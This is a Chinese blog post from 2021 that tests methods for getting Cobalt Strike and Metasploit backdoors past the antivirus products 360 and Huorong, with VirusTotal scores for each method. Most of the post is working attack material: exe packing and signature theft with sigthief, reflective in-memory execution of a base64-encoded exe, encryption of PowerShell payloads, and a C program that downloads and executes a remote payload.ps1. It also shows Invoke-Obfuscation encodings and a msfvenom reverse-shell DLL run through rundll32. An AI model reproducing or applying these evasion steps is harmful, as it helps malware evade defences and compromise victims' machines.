初探免殺之路——免殺方法測試

1_Ry發表於2021-11-15

宣告:⽂中所涉及的技術、思路和⼯具僅供以安全為⽬的的學習交流使⽤,任何⼈不得將其⽤於⾮法⽤途以及盈利等⽬的,否則後果⾃⾏承擔

前言

之前做靶機的時候發現有安全衛士,怎麼都突破不了,意識到了免殺的重要性,花點時間來學習一下免殺的技巧,本文分別對exe檔案和ps1檔案進行免殺測試,所涉及的工具均已打包,私信獲取

免殺介紹

免殺有很多種方式

  • 1、原始碼免殺。在有原始碼的情況下,可以定位特徵碼、加花指令、多層跳轉、加無效指令、替換api、重寫api、API偽呼叫等等,這部分內容較多略複雜

  • 2、無原始碼免殺。在原始碼不好修改需要對exe進行免殺時,可以加資源、替換資源、加殼、加簽名、PE優化、增加節資料等等。本文中的方法1就是這種方式,只不過算是最簡單的一種。

  • 3、powershell免殺。因為mimikatz有powershell版或者使用powershell可以載入,所以對powershell的指令碼免殺也是一種方式,本文中的方法2-方法6都是對powershell進行處理。

  • 4、載入器分離免殺。載入器就是利用了ShellCode和PE分離的方式來達到免殺的效果,不過很多隻能載入基於RAW格式或固定格式的shellcode,對exe程式就無能無力了

  • 5、白名單免殺。白名單主要是使用了rundll32、msbuild、mshta、cscript等多個白名單程式來載入嵌入了木馬的jscript指令碼

 

EXE檔案免殺

首先來看看原生態的cs生成的exe後門木馬吧

火絨一放進去就報毒了,360執行之後也報毒了

VirusTotal - Home原生木馬的查殺率為48/68

 

加殼+簽名

需要的軟體

VMProtect Ultimate 3.4.0加殼軟體、簽名指令碼sigthief.py

安裝vmp加殼軟體後,使⽤vmp進⾏加殼

 cs的後門和msf的後門都試了一下,不知道為什麼VMP這個工具不能對msf的後門加殼

 加殼之後試了一下,火絨過了,360還是報毒了

 使⽤ sigthief.py 對上⼀步⽣成的exe⽂件進⾏簽名。sigthief的詳細⽤法可以參考 https://github.com/secretsquirrel/SigThief(要以管理員許可權執行)

 python sigthief.py -i 360safe.exe -t artifact.vmp.exe -o artifact.exe

但還是執行不了

再來看看VirusTotal,只有14/67了,降了很多

 

PowerShell嵌入EXE檔案

使用工具:Invoke-ReflectivePEInjection.ps1

這個方法其實只是將exe程式轉為字串,然後嵌入到Invoke-ReflectivePEInjection.ps1中直接執行。

將下面程式碼儲存為Convert-BinaryToString.ps1

function Convert-BinaryToString {
   [CmdletBinding()] param (
      [string] $FilePath
   )
   try {
      $ByteArray = [System.IO.File]::ReadAllBytes($FilePath);
   }
   catch {
      throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";
   }
   if ($ByteArray) {
      $Base64String = [System.Convert]::ToBase64String($ByteArray);
   }
   else {
      throw '$ByteArray is $null.';
   }
   Write-Output -InputObject $Base64String
}

這個ps1檔案的意思是將exe轉換為二進位制檔案

執行

import-module .\Convert-BinaryToString.ps1
Convert-BinaryToString .\artifact.exe >>1.txt \\如果執行不了要加絕對路徑

新建一個payload.ps1,內容如下,需要替換裡面1.txt的內容和Invoke-ReflectivePEInjection內容。

# Your base64 encoded binary
$InputString = '...........'  #上面1.txt的內容
function Invoke-ReflectivePEInjection  #Invoke-ReflectivePEInjection的內容
{
   ......
   ......
   ......
}
# Convert base64 string to byte array
$PEBytes = [System.Convert]::FromBase64String($InputString)
# Run EXE in memory
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"

然後在目標機器執行powershell -ExecutionPolicy Bypass -File payload.ps1即可。

 360火絨都過不了,Invoke-ReflectivePEInjection這個知名度挺高的,VirusTotal

 

 

ps1檔案免殺

 cs生成了一個ps1的後門指令碼,先上傳上去看看,令我意外的是360居然沒有報毒,執行也直接上線了,但火絨還是爆毒了

VirusTotal

使用Out-EncryptedScript加密

使用Out-EncryptedScript.ps1

Import-Module .\Out-EncryptedScript.ps1
Out-EncryptedScript -ScriptPath .\payload.ps1 -Password tidesec -Salt lry123

預設會生成的evil.ps1檔案。其中兩個引數:-Password 設定加密的金鑰-Salt 隨機數,防止被暴力破解

 

執行一下

[String] $cmd = Get-Content .\evil.ps1
Invoke-Expression $cmd
$decrypted = de tidesec lry123
Invoke-Expression $decrypted

 

 

 成功上線,且火絨和360都沒爆毒

VirusTotal上檢測的效果卻沒這麼好

 

使用xencrypt加密

xencrypt.ps1

Import-Module ./xencrypt.ps1
Invoke-Xencrypt -InFile .\payload.ps1 -OutFile payload1.ps1 -Iterations 88

 

但是過了360還是沒能過火絨

VirusTotal效果倒是很好

 

C程式中執行powershell

這個執行方式也是比較簡單,在C程式碼裡執行powershell。

編譯為exe檔案

#include<stdio.h>
#include<stdlib.h>
int main(){
system("powershell $c2='IEX (New-Object Net.WebClient).Downlo';$c3='adString(''http://192.168.200.64/payload.ps1'')'; $Text=$c2+$c3; IEX(-join $Text);");
return 0;
}

 但火絨和360都過不了

反而直接執行命令不會被攔截

powershell IEX (New-Object Net.WebClient).DownloadString(''http://192.168.200.64/payload.ps1'')

拿去VirusTotal,效果反而是最好的

 

 Invoke-Obfuscation-master

在測試一下我之前靶機試過的免殺

Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation

匯入之後設定要免殺的ps1指令碼路徑

set scriptpath path

 

選擇編碼混淆ENCODING

看到有八種編碼方式,每個都試試看

1
out 1.ps1

 直接說結果吧

1、ASCII 過360沒過火絨   virustotal 5/57

2、Hex 過360沒過火絨   virustotal 5/55

3、Octal 過360沒過火絨   virustotal 5/56

4、Binary 過360沒過火絨   virustotal 2/56

5、SecureString 過360沒過火絨

6、BXOR 過360沒過火絨  virustotal 5/56

7、Special Characters 過360火絨 virustotal0/56(強)

8、Whitespace  過360沒過火絨   virustotal 1/56

說一下使用這個工具遇到的問題,一開始我連續生成了四個免殺後的ps1檔案,到第五個的時候就變得很久,我還以為是檔案太大的原因,可是生成之後的ps1檔案也用不了,到了第二天一開啟就能秒生成,加上我之前靶機也遇到這樣的問題,再加上後面試驗,發現這個工具編碼免殺的時候還不能一次全部生成,最好生成一個再重新開啟生成另一個,不知道是不是就我遇到這種情況

 

rundll32.exe

再介紹一種bypass的方法,msf或cs生成dll後門

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP> LPORT=<Your Port> -f dll >shell.dll

執行dll

C:\Windows\System32\rundll32.exe artifact.dll,Start

 

360沒有報毒,成功上線,但是過了一會還是被殺了

火絨直接報毒

但是,使用加殼簽名之後的dll,360火絨全過

 還可以結合別的免殺方法,這裡就不測試了

 

總結

測試下來後發現:360對exe的檔案比較敏感,火絨則對ps1檔案敏感。遇到不同的殺軟可以針對性的選擇,也可以通過多種免殺方式結合。以後遇到別的免殺方法後續再補充,水文一篇大神見笑

相關文章